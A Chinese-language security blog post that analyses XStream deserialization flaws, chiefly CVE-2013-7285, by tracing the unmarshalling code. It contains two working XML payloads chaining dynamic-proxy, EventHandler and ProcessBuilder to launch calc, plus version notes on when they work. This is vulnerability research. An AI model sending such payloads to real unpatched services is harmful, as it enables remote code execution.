Java安全之XStream 漏洞分析
0x00 前言
好久沒寫漏洞分析文章了,最近感覺在審程式碼的時候,XStream 元件出現的頻率比較高,藉此來學習一波XStream的漏洞分析。
0x01 XStream 歷史漏洞
下面羅列一下XStream歷史漏洞
XStream 遠端程式碼執行漏洞 | CVE-2013-7285 | XStream <= 1.4.6 |
---|---|---|
XStream XXE | CVE-2016-3674 | XStream <= 1.4.8 |
XStream 遠端程式碼執行漏洞 | CVE-2019-10173 | XStream < 1.4.10 |
XStream 遠端程式碼執行漏洞 | CVE-2020-26217 | XStream <= 1.4.13 |
XStream 遠端程式碼執行漏洞 | CVE-2021-21344 | XStream : <= 1.4.15 |
XStream 遠端程式碼執行漏洞 | CVE-2021-21345 | XStream : <= 1.4.15 |
XStream 遠端程式碼執行漏洞 | CVE-2021-21346 | XStream : <= 1.4.15 |
XStream 遠端程式碼執行漏洞 | CVE-2021-21347 | XStream <= 1.4.15 |
XStream 遠端程式碼執行漏洞 | CVE-2021-21350 | XStream : <= 1.4.15 |
XStream 遠端程式碼執行漏洞 | CVE-2021-21351 | XStream : <= 1.4.15 |
XStream 遠端程式碼執行漏洞 | CVE-2021-29505 | XStream : <= 1.4.16 |
詳細可檢視XStream 官方地址
0x02 XStream 使用與解析
介紹
XStream是一套簡潔易用的開源類庫,用於將Java物件序列化為XML或者將XML反序列化為Java物件,是Java物件和XML之間的一個雙向轉化器。
使用
序列化
public static void main(String[] args) {
XStream xStream = new XStream();
Person person = new Person();
person.setName("xxx");
person.setAge(22);
String s = xStream.toXML(person);
System.out.println(s);
}
<com.nice0e3.Person>
<name>xxx</name>
<age>22</age>
</com.nice0e3.Person>
反序列化
XStream xStream = new XStream();
String xml =
"<com.nice0e3.Person>\n" +
" <name>xxx</name>\n" +
" <age>22</age>\n" +
"</com.nice0e3.Person>";
Person person1 = (Person)xStream.fromXML(xml);
System.out.println(person1);
結果
Person{name='xxx', age=22}
EventHandler類
分析前先來看到EventHandler
類,EventHandler類是實現了InvocationHandler
的一個類,設計本意是為互動工具提供beans,建立從使用者介面到應用程式邏輯的連線。其中會檢視呼叫的方法是否為hashCode
、equals
、toString
,如果不為這三個方法則往下走,而我們的需要利用的部分在下面。EventHandler.invoke()
-->EventHandler.invokeInternal()
-->MethodUtil.invoke()
任意反射呼叫。
組成部分
XStream 總體由五部分組成
XStream 作為客戶端對外提供XML解析與轉換的相關方法。
-
AbstractDriver 為XStream提供流解析器和編寫器的建立。目前支援XML(DOM,PULL)、JSON解析器。解析器HierarchicalStreamReader,編寫器HierarchicalStreamWriter(PS:XStream預設使用了XppDriver)。
-
MarshallingStrategy 編組和解組策略的核心介面,兩個方法:
marshal:編組物件圖
unmarshal:解組物件圖
TreeUnmarshaller 樹解組程式,呼叫mapper和Converter把XML轉化成java物件,裡面的start方法開始解組,convertAnother
方法把class轉化成java物件。
TreeMarshaller 樹編組程式,呼叫mapper和Converter把java物件轉化成XML,裡面的start方法開始編組,convertAnother
方法把java物件轉化成XML。
它的抽象子類AbstractTreeMarshallingStrategy
有抽象兩個方法
createUnmarshallingContext
createMarshallingContext
用來根據不同的場景建立不同的TreeUnmarshaller
子類和TreeMarshaller
子類,使用了策略模式,如ReferenceByXPathMarshallingStrategy
建立ReferenceByXPathUnmarshaller
,ReferenceByIdMarshallingStrategy
建立ReferenceByIdUnmarshaller
(PS:XStream預設使用ReferenceByXPathMarshallingStrategy
-
Mapper 對映器,XML的
elementName
通過mapper獲取對應類、成員、屬性的class物件。支援解組和編組,所以方法是成對存在real 和serialized,他的子類MapperWrapper
作為裝飾者,包裝了不同型別對映的對映器,如AnnotationMapper
,ImplicitCollectionMapper
,ClassAliasingMapper
。 -
ConverterLookup 通過Mapper獲取的Class物件後,接著呼叫
lookupConverterForType
獲取對應Class的轉換器,將其轉化成對應例項物件。DefaultConverterLookup
是該介面的實現類,同時實現了ConverterRegistry
的介面,所有DefaultConverterLookup
具備查詢converter功能和註冊converter功能。所有註冊的轉換器按一定優先順序組成由TreeSet儲存的有序集合(PS:XStream 預設使用了DefaultConverterLookup)。
Mapper解析
根據elementName
查詢對應的Class,首先呼叫realClass
方法,然後realClass
方法會在所有包裝層中一層層往下找,並還原elementName
的資訊,比如在ClassAliasingMapper
根據component
別名得出Component
類,最後在DefaultMapper
中呼叫realClass
建立出Class。
CachingMapper
-->SecurityMapper
-->ArrayMapper
-->ClassAliasingMapper
-->PackageAliasingMapper
-->DynamicProxyMapper
--->DefaultMapper
0x03 漏洞分析
CVE-2013-7285
影響範圍
1.4.x<=1.4.6或1.4.10
漏洞簡介
XStream序列化和反序列化的核心是通過Converter
轉換器來將XML和物件之間進行相互的轉換。
XStream反序列化漏洞的存在是因為XStream支援一個名為DynamicProxyConverter
的轉換器,該轉換器可以將XML中dynamic-proxy
標籤內容轉換成動態代理類物件,而當程式呼叫了dynamic-proxy
標籤內的interface
標籤指向的介面類宣告的方法時,就會通過動態代理機制代理訪問dynamic-proxy
標籤內handler
標籤指定的類方法;利用這個機制,攻擊者可以構造惡意的XML內容,即dynamic-proxy
標籤內的handler
標籤指向如EventHandler
類這種可實現任意函式反射呼叫的惡意類、interface
標籤指向目標程式必然會呼叫的介面類方法;最後當攻擊者從外部輸入該惡意XML內容後即可觸發反序列化漏洞、達到任意程式碼執行的目的。
漏洞分析
public static void main(String[] args) {
XStream xStream = new XStream();
String xml =
"<sorted-set>\n" +
" <string>foo</string>\n" +
" <dynamic-proxy>\n" +
" <interface>java.lang.Comparable</interface>\n" +
" <handler class=\"java.beans.EventHandler\">\n" +
" <target class=\"java.lang.ProcessBuilder\">\n" +
" <command>\n" +
" <string>cmd</string>\n" +
" <string>/C</string>\n" +
" <string>calc</string>\n" +
" </command>\n" +
" </target>\n" +
" <action>start</action>\n" +
" </handler>\n" +
" </dynamic-proxy>\n" +
"</sorted-set>";
xStream.fromXML(xml);
}
一路跟蹤下來程式碼走到com.thoughtworks.xstream.core.TreeUnmarshaller#start
public Object start(final DataHolder dataHolder) {
this.dataHolder = dataHolder;
//通過mapper獲取對應節點的Class物件
final Class<?> type = HierarchicalStreams.readClassType(reader, mapper);
//Converter根據Class的型別轉化成java物件
final Object result = convertAnother(null, type);
for (final Runnable runnable : validationList) {
runnable.run();
}
return result;
}
呼叫HierarchicalStreams.readClassType
方法,從序列化的資料中獲取一個真實的class物件。
public static Class<?> readClassType(final HierarchicalStreamReader reader, final Mapper mapper) {
if (classAttribute == null) {
// 通過節點名獲取Mapper中對應的Class
Class<?> type = mapper.realClass(reader.getNodeName());
return type;
}
方法內部呼叫readClassAttribute
。來看到方法
public static String readClassAttribute(HierarchicalStreamReader reader, Mapper mapper) {
String attributeName = mapper.aliasForSystemAttribute("resolves-to");
String classAttribute = attributeName == null ? null : reader.getAttribute(attributeName);
if (classAttribute == null) {
attributeName = mapper.aliasForSystemAttribute("class");
if (attributeName != null) {
classAttribute = reader.getAttribute(attributeName);
}
}
return classAttribute;
}
其中呼叫獲取呼叫aliasForSystemAttribute
方法獲取別名。
獲取resolves-to
和class
判斷解析的xml屬性值中有沒有這兩欄位。
這裡返回為空,繼續來看到com.thoughtworks.xstream.core.util.HierarchicalStreams#readClassType
為空的話,則走到這裡
type = mapper.realClass(reader.getNodeName());
獲取當前節點的名稱,並進行返回對應的class物件。
跟蹤mapper.realClass
方法。com.thoughtworks.xstream.mapper.CachingMapper#realClass
public Class realClass(String elementName) {
Object cached = this.realClassCache.get(elementName);
if (cached != null) {
if (cached instanceof Class) {
return (Class)cached;
} else {
throw (CannotResolveClassException)cached;
}
} else {
try {
Class result = super.realClass(elementName);
this.realClassCache.put(elementName, result);
return result;
} catch (CannotResolveClassException var4) {
this.realClassCache.put(elementName, var4);
throw var4;
}
}
}
找到別名應的類,儲存到realClassCache中,並且進行返回。
執行完成回到com.thoughtworks.xstream.core.TreeUnmarshaller#start
中
跟進程式碼
Object result = this.convertAnother((Object)null, type);
來到這裡
public Object convertAnother(final Object parent, Class<?> type, Converter converter) {
//根據mapper獲取type實現類
type = mapper.defaultImplementationOf(type);
if (converter == null) {
//根據type找到對應的converter
converter = converterLookup.lookupConverterForType(type);
} else {
if (!converter.canConvert(type)) {
final ConversionException e = new ConversionException("Explicitly selected converter cannot handle type");
e.add("item-type", type.getName());
e.add("converter-type", converter.getClass().getName());
throw e;
}
}
// 進行把type轉化成對應的object
return convert(parent, type, converter);
}
this.mapper.defaultImplementationOf
方法會在mapper物件中去尋找介面的實現類
下面呼叫 this.converterLookup.lookupConverterForType(type);
方法尋找對應型別的轉換器。
public Converter lookupConverterForType(final Class<?> type) {
//先查詢快取的型別對應的轉換器集合
final Converter cachedConverter = type != null ? typeToConverterMap.get(type.getName()) : null;
if (cachedConverter != null) {
//返回找到的快取轉換器
return cachedConverter;
}
final Map<String, String> errors = new LinkedHashMap<>();
//遍歷轉換器集合
for (final Converter converter : converters) {
try {
//判斷是不是符合的轉換器
if (converter.canConvert(type)) {
if (type != null) {
//快取型別對應的轉換器
typeToConverterMap.put(type.getName(), converter);
}
//返回找到的轉換器
return converter;
}
} catch (final RuntimeException | LinkageError e) {
errors.put(converter.getClass().getName(), e.getMessage());
}
}
}
canConvert 變數所有轉換器,通過呼叫Converter.canConvert()
方法來匹配轉換器是否能夠轉換出TreeSet
型別,這裡找到滿足條件的TreeSetConverter
轉換器
下面則是呼叫this.typeToConverterMap.put(type, converter);
將該類和轉換器儲存到map中。
然後將轉換器進行返回。
回到com.thoughtworks.xstream.core.TreeUnmarshaller#convertAnother
中,執行來到這裡。
protected Object convert(Object parent, Class type, Converter converter) {
Object result;
if (this.parentStack.size() > 0) {
result = this.parentStack.peek();
if (result != null && !this.values.containsKey(result)) {
this.values.put(result, parent);
}
}
String attributeName = this.getMapper().aliasForSystemAttribute("reference");
String reference = attributeName == null ? null : this.reader.getAttribute(attributeName);
Object cache;
if (reference != null) {
cache = this.values.get(this.getReferenceKey(reference));
if (cache == null) {
ConversionException ex = new ConversionException("Invalid reference");
ex.add("reference", reference);
throw ex;
}
result = cache == NULL ? null : cache;
} else {
cache = this.getCurrentReferenceKey();
this.parentStack.push(cache);
result = super.convert(parent, type, converter);
if (cache != null) {
this.values.put(cache, result == null ? NULL : result);
}
this.parentStack.popSilently();
}
return result;
}
獲取reference別名後,從xml中獲取reference標籤內容。獲取為空則呼叫
this.getCurrentReferenceKey()
來獲取當前標籤將當前標籤。
呼叫this.types.push
將獲取的值壓入棧中,跟進檢視一下。
public Object push(Object value) {
if (this.pointer + 1 >= this.stack.length) {
this.resizeStack(this.stack.length * 2);
}
this.stack[this.pointer++] = value;
return value;
}
實際上做的操作也只是將值儲存在了this.stack
變數裡面。
來到以下程式碼
Object result = converter.unmarshal(this.reader, this);
呼叫傳遞進來的型別轉換器,也就是前面通過匹配獲取到的型別轉換器。呼叫unmarshal
方法,進行xml解析。也就是com.thoughtworks.xstream.converters.collections.TreeSetConverter#unmarshal
public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
TreeSet result = null;
Comparator unmarshalledComparator = this.treeMapConverter.unmarshalComparator(reader, context, (TreeMap)null);
boolean inFirstElement = unmarshalledComparator instanceof Null;
Comparator comparator = inFirstElement ? null : unmarshalledComparator;
TreeMap treeMap;
if (sortedMapField != null) {
TreeSet possibleResult = comparator == null ? new TreeSet() : new TreeSet(comparator);
Object backingMap = null;
try {
backingMap = sortedMapField.get(possibleResult);
} catch (IllegalAccessException var11) {
throw new ConversionException("Cannot get backing map of TreeSet", var11);
}
if (backingMap instanceof TreeMap) {
treeMap = (TreeMap)backingMap;
result = possibleResult;
} else {
treeMap = null;
}
} else {
treeMap = null;
}
if (treeMap == null) {
PresortedSet set = new PresortedSet(comparator);
result = comparator == null ? new TreeSet() : new TreeSet(comparator);
if (inFirstElement) {
this.addCurrentElementToCollection(reader, context, result, set);
reader.moveUp();
}
this.populateCollection(reader, context, result, set);
if (set.size() > 0) {
result.addAll(set);
}
} else {
this.treeMapConverter.populateTreeMap(reader, context, treeMap, unmarshalledComparator);
}
return result;
}
呼叫unmarshalComparator
方法判斷是否存在comparator,如果不存在,則返回NullComparator物件。
protected Comparator unmarshalComparator(HierarchicalStreamReader reader, UnmarshallingContext context, TreeMap result) {
Comparator comparator;
if (reader.hasMoreChildren()) {
reader.moveDown();
if (reader.getNodeName().equals("comparator")) {
Class comparatorClass = HierarchicalStreams.readClassType(reader, this.mapper());
comparator = (Comparator)context.convertAnother(result, comparatorClass);
} else {
if (!reader.getNodeName().equals("no-comparator")) {
return NULL_MARKER;
}
comparator = null;
}
reader.moveUp();
} else {
comparator = null;
}
return comparator;
}
回到com.thoughtworks.xstream.converters.collections.TreeSetConverter#unmarshal
獲取為空,則 inFirstElement
為false,下面的程式碼comparator
變數中三目運算返回null。而possibleResult
也是建立的是一個空的TreeSet
物件。而後則是一些賦值,就沒必要一一去看了。來看到重點部分。
this.treeMapConverter.populateTreeMap(reader, context, treeMap, unmarshalledComparator);
跟進一下。
protected void populateTreeMap(HierarchicalStreamReader reader, UnmarshallingContext context, TreeMap result, Comparator comparator) {
boolean inFirstElement = comparator == NULL_MARKER;
if (inFirstElement) {
comparator = null;
}
SortedMap sortedMap = new PresortedMap(comparator != null && JVM.hasOptimizedTreeMapPutAll() ? comparator : null);
if (inFirstElement) {
this.putCurrentEntryIntoMap(reader, context, result, sortedMap);
reader.moveUp();
}
this.populateMap(reader, context, result, sortedMap);
try {
if (JVM.hasOptimizedTreeMapPutAll()) {
if (comparator != null && comparatorField != null) {
comparatorField.set(result, comparator);
}
result.putAll(sortedMap);
} else if (comparatorField != null) {
comparatorField.set(result, sortedMap.comparator());
result.putAll(sortedMap);
comparatorField.set(result, comparator);
} else {
result.putAll(sortedMap);
}
} catch (IllegalAccessException var8) {
throw new ConversionException("Cannot set comparator of TreeMap", var8);
}
}
下面呼叫了this.putCurrentEntryIntoMap
跟進檢視一下。
讀取標籤內的內容並快取到target這個Map中。
reader.moveUp()
往後解析xml
然後呼叫this.populateMap(reader, context, result, sortedMap);
跟進方法檢視
protected void populateMap(HierarchicalStreamReader reader, UnmarshallingContext context, Map map, final Map target) {
TreeSetConverter.this.populateCollection(reader, context, new AbstractList() {
public boolean add(Object object) {
return target.put(object, object) != null;
}
public Object get(int location) {
return null;
}
public int size() {
return target.size();
}
});
}
其中呼叫populateCollection
用來迴圈遍歷子標籤中的元素並新增到集合中。
呼叫addCurrentElementToCollection
-->readItem
protected Object readItem(HierarchicalStreamReader reader, UnmarshallingContext context, Object current) {
Class type = HierarchicalStreams.readClassType(reader, this.mapper());
return context.convertAnother(current, type);
}
讀取標籤內容,並且獲取轉換成對應的類,最後將類新增到targer中。
跟蹤一下看看。大概流程和前面的一樣。
一路跟蹤來到
com.thoughtworks.xstream.converters.extended.DynamicProxyConverter#unmarshal
前面獲得的DynamicProxyConverter
。
這就獲取到了一個動態代理的類。EventHandler
com.thoughtworks.xstream.converters.collections.TreeMapConverter#populateTreeMap
中呼叫result.putAll
,也就是代理了EventHandler
類的putALL。動態代理特性則會觸發,EventHandler.invoke
。
invoke的主要實現邏輯在invokeInternal
怎麼說呢,整體一套流程其實就是一個解析的過程。從com.thoughtworks.xstream.core.TreeUnmarshaller#start
方法開始解析xml,呼叫HierarchicalStreams.readClassType
通過標籤名獲取Mapper中對於的class物件。獲取class完成後呼叫com.thoughtworks.xstream.core.TreeUnmarshaller#convertAnother
,該方法會根據class轉換為對於的Java物件。convertAnother
的實現是mapper.defaultImplementationOf
方法查詢class實現類。根據實現類獲取對應轉換器,獲取轉換器部分的實現邏輯是ConverterLookup
中的lookupConverterForType
方法,先從快取集合中查詢Converter
,遍歷converters
找到符合的Converter
。隨後,呼叫convert
返回object物件。convert
方法實現邏輯是呼叫獲取到的converter
轉換器的unmarshal
方法來根據獲取的物件,繼續讀取子節點,並轉化成物件對應的變數。直到讀取到最後一個節點退出迴圈。最終獲取到java物件中的變數值也都設定,整個XML解析過程就結束了。
POC2
<tree-map>
<entry>
<string>fookey</string>
<string>foovalue</string>
</entry>
<entry>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>calc.exe</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
<string>good</string>
</entry>
</tree-map>
我們第一個payload使用的是sortedset
介面在com.thoughtworks.xstream.core.TreeUnmarshaller#convertAnother
方法中this.mapper.defaultImplementationOf(type);
尋找到的實現類為java.util.TreeSet
。根據實現類尋找到的轉換器即TreeSetConverter
。
這裡使用的是tree-map
,獲取的實現類是他本身,轉換器則是TreeMapConverter
。同樣是通過動態代理的map物件,呼叫putAll方法觸發到EventHandler.invoke
裡面實現任意反射呼叫。
1.3.1版本無法利用原因
com.thoughtworks.xstream.core.util.HierarchicalStreams#readClassType
該行程式碼爆出Method threw 'com.thoughtworks.xstream.mapper.CannotResolveClassException' exception.
無法解析異常。
發現是從遍歷去呼叫map,呼叫realClass查詢這裡並沒有從map中找到對應的class。所以這裡報錯了。
1.4.7-1.4.9版本無法利用原因
com.thoughtworks.xstream.core.TreeUnmarshaller#start
Class type = HierarchicalStreams.readClassType(this.reader, this.mapper);
Object result = this.convertAnother((Object)null, type);
獲取class部分成功了,報錯位置在呼叫this.convertAnother
轉換成Object物件步驟上。
跟進檢視一下。
EventHandler
的處理由ReflectionConverter
來處理的,在1.4.7-1.4.9版本。新增了canConvert
方法的判斷。
1.4.10版本payload可利用原因
com.thoughtworks.xstream.converters.reflection.ReflectionConverter#canConvert
中沒了對EventHandler
類的判斷。
1.4.10版本以後新增了XStream.setupDefaultSecurity(xStream)
方法的支援。
com.thoughtworks.xstream.XStream$InternalBlackList#canConvert
中
public boolean canConvert(Class type) {
return type == Void.TYPE || type == Void.class || XStream.this.insecureWarning && type != null && (type.getName().equals("java.beans.EventHandler") || type.getName().endsWith("$LazyIterator") || type.getName().startsWith("javax.crypto."));
}
新增黑名單判斷。
0x04 結尾
篇章略長,分開幾部分來寫。